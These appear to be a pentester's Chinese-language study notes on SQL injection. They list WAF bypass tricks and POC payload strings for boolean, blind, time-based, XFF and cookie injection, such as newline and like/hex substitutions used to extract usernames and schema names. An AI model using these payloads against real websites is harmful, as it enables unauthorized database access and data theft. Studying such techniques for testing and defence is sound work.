access注入:
使用exists爆破表名 and exists(select * from admin)
sql注入报告:
'or+1='1
问题1:永恒之白,猜测拦截字符:空格、or、=
尝试替代方案:
回车代替空格
验证or没被拦截,=被拦截了
使用<>、!=、like、alike、regexp等进行替换。POC: k=1'or+'a'like'a
但是POC: k=1'or+'a'like'a 和 POC: k=1'or+'a'like'b 得到的Content-Length都相同。
问题2:or后面真假表达式结果相同
使用xor,and来替换,结果Content-Length都相同
怀疑是空格引起的,使用%0a、 、 /!Ljzf*/ 、%0a。
不行
经过上面发现user就是用户名,尝试不要(),使用_代替一个字符,逐字爆破。
爆破注意点:1.添加大小写字母,数据库对大小写敏感。2.爆破线程不能太高,可能被版
sql注入联合注入:缺少猜字段名的步骤,字符型漏洞
--》验证是否存在注入点---》确定表列数--》确定回显位
--》爆破数据库名、用户名
界面上没变化的,需要抓包
SQL注入-盲注:
asp的access数据库使用db_name()代替user()
%0auser%0a%0alike'aa% //like后面为什么不加空格?like'aa%是匹配aa开头的用户名吗?
XFF注入:伪造ip注入
跟普通SQL注入思路同
输出结果是否呈现周期变化,验证后台是否对单引号进行了过滤。
/三个、四个、…,呈现周期性的变化,说明此时后端数据库可直接识别用户输入的单引号(程序未对用户输入的数据进行过滤、或过滤不严
导致用户数据被后端数据库当作代码执行)。
记一次SQL注入#3:
永恒之白,
like被过滤了: 尝试浮点数形式
<> != >= <= > < rlike被过滤了
单引号,双引号被过滤了:使用ascii,hex代替。if(1.=ascii(2)),1,0) if(1=hex(2),1,0)
用户名、数据库名、版本信息等被过滤,发现shema()可用
substr、mid函数被过滤:使用left,right函数 poc: 2/if(68.=hex(left(schema(),1)),1,0)
记一次渗透测试#H1某目标SQL注入:
cookie注入
绕过正则SQL注入:
注释+换行的形式绕过。 POC: commonUserName=123'or--+777777777777%0a1='1
POC: commonUserName=123'or--+777777777777%0aUSER%0alike'A%
时间注入:
sleep+ascii 来爆破
一次SQL注入深入利用:
报错注入+联合注入+md5破解
一点点绕过:
user()被挡:if(user%0a()=1,1,1)用换行符%0a将user和()分开,成功绕过waf
if(left(user%0a(),1)='h',1,0) 进行字母爆破
总结:
1.对于被拦截的情况,要善于用其他方式绕过。比如"回车代替空格", "substr、mid使用left,right代替"
2.多种注入相互配合使用,比如联合注入、报错注入、布尔注入等
3.多看别人的案例,学习经验总结才能更好的打开思路
4.遇到问题,要耐心,发散思维